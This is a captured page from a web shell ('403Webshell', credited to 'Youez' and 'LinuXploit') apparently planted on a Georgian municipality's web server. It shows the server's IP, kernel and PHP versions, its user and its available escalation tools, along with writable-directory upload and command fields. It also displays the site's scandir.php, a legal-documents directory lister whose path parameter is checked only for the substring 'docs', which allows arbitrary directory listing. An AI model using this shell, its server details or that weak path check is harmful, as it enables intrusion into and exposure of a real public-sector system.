403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.167
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli_new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli_new/scandir.php
<?php

header("Content-type: text/html; Charset=utf-8");
error_reporting(E_ALL);
session_start();

$PING = isset($_GET['ping'])?$_GET['ping']:'share/public_html/docs';

if($PING && strpos($PING,"docs") === false)die;


final class Main{
		
		protected static $_instance;
		private function __construct(){}
		private function __clone(){}
		private function __wakeup(){}

		
		public static function Coll(){
		        if(null === self::$_instance){
		            self::$_instance = new Main();
		        }return self::$_instance;
		 }

		public function tree($a){
			//echo $a."<br>";	
		  	$scan = scandir($a);
			  
			$html_ = '<ul class="list-group">';
			foreach($scan as $value){
			  	if($value == '.' || $value == '..'/* || $scan[$j] == 'img' || $value == 'www_folder' */)continue;
				  if(is_dir($a.'/'.$value)){
                     $html_ .= '<li class="list-group-item directory"><a href="/scandir.php?ping='.$a.'/'.$value.'"><i class="fa fa-folder"></i>  '.$value.'</a></li>';
				 }else{
				 	$html_ .= '<li class="list-group-item file"><a href="/'.str_replace(' ','%20',$a.'/'.$value).'" target="_blank"><i class="fa '.$this->return_extension($value).'"> '.$value.'</i></a></li>';
				 }
            }
            $html_ .= '</div>';
            return $html_;
			}
			
	   private function return_extension(){
	   		$file = func_get_arg(0);
	   		if(preg_match('/[.](pdf)|(PDF)$/', $file)){
	   			return 'fa-file-pdf-o';
	   		}elseif(preg_match('/[.](docx)|(DOCX)|(doc)|(DOC)|(dot)|(DOT)$/', $file)){
	   			return 'fa-file-word-o';
	   		}elseif(preg_match('/[.](xls)|(xlt)|(xlsx)|(xlsm)|(XLS)|(XLT)|(XLSX)|(XLSM)$/', $file)){
	   			return 'fa-file-excel-o';
	   		}else{
	   			return 'fa-file-text';
	   		}
	   }
 }  
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <title>საკანონმდებლო დებულებები</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="share/style.css">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css">

  <style>

  </style>


</head>
<body>

<div class="container">
  <?php if(isset($_GET['ping'])):?>
  	<div onclick="history.back()" title="უკან" class="btn btn-default pull-right" style="display: inline-block"><i class="fa fa-backward"></i></div>
  <?php endif; ?>
  <h2><a href="scandir.php">ხარაგაულის მუნიციპალიტეტის საკრებულოს სამართლებრივი აქტები</a></h2>
  

  <?=Main::Coll()->tree($PING);?>
</div>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit